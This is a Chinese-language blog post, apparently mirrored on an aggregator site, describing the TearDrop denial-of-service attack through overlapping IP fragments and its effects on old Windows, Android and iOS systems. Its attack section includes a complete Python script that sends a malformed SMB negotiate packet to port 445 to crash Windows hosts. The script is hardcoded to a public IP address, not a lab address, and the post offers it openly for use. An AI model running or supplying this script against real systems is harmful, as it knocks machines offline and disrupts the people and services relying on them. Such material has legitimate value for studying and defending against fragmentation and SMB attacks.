zoukankan      html  css  js  c++  java
  • (四)拒绝服务–TearDrop 攻击

    1. 简介
    主要针对早期微软操作系统(95、98、3.x、nt)
    近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效
    原理很有趣
    使用 IP 分段偏移量之间分段覆盖,接收端处理分段覆盖时可被拒绝服务
    攻击效果
    被攻击者蓝屏、重启、卡死
    MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节
    FCS:帧校验序列,4个字节
    ip头:源ip和目标ip,20字节
    Ping大包,比较正常分段与teardrop攻击流量的区别
    ping -l 4000 192.168.199.158
    针对早期windows系统SMB协议的攻击
    teardrop_smb.py
    针对Android.IOS 系统的攻击
    teardrop_androidios.py
    攻击向量并不确定,要视具体协议分析
    2. 攻击目标
    泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。
    IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 – 从而导致拒绝服务状况。
    3. 攻击脚本
    #!/usr/bin/python
    # When SMB2.0 recieve a “&” char in the “Process Id High”
    # SMB header field it dies with a
    # PAGE_FAULT_IN_NONPAGED_AREA
    # filename: teardrop-attack-smb.py
    import sys
    from socket import socket
    from time import sleep
    #host = sys.argv[1], 445
    #host = “192.168.199.158”, 445
    host = “217.113.205.53”, 445
    buff = (
    “x00x00x00x90” # Begin SMB header: Session message
    “xffx53x4dx42” # Server Component: SMB
    “x72x00x00x00” # Negociate Protocol
    “x00x18x53xc8” # Operation 0x18 & sub 0xc853
    “x00x26″# Process ID High: –> ???? normal value should be “x00x00”
    “x00x00x00x00x00x00x00x00x00x00xffxffxffxfe”
    “x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54”
    “x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31”
    “x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00”
    “x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57”
    “x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61”
    “x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c”
    “x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c”
    “x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e”
    “x30x30x32x00”
    )
    s = socket()
    s.connect(host)
    s.send(buff)
    s.close()
  • 相关阅读:
    Java学习day2
    Java 学习day1
    const
    数组
    scanf、printf、gets、puts的应用及区别
    指针数组和数组指针
    指针函数和函数指针
    nginx Windows版使用说明
    windows平台上nginx部署web.py(转)
    python安装程序是报这样的错UnicodeDecodeError: 'ascii' codec can't decode byte 0xb0 in position 1: ordinal not in range(128)
  • 原文地址:https://www.cnblogs.com/micr067/p/12519781.html
Copyright © 2011-2022 走看看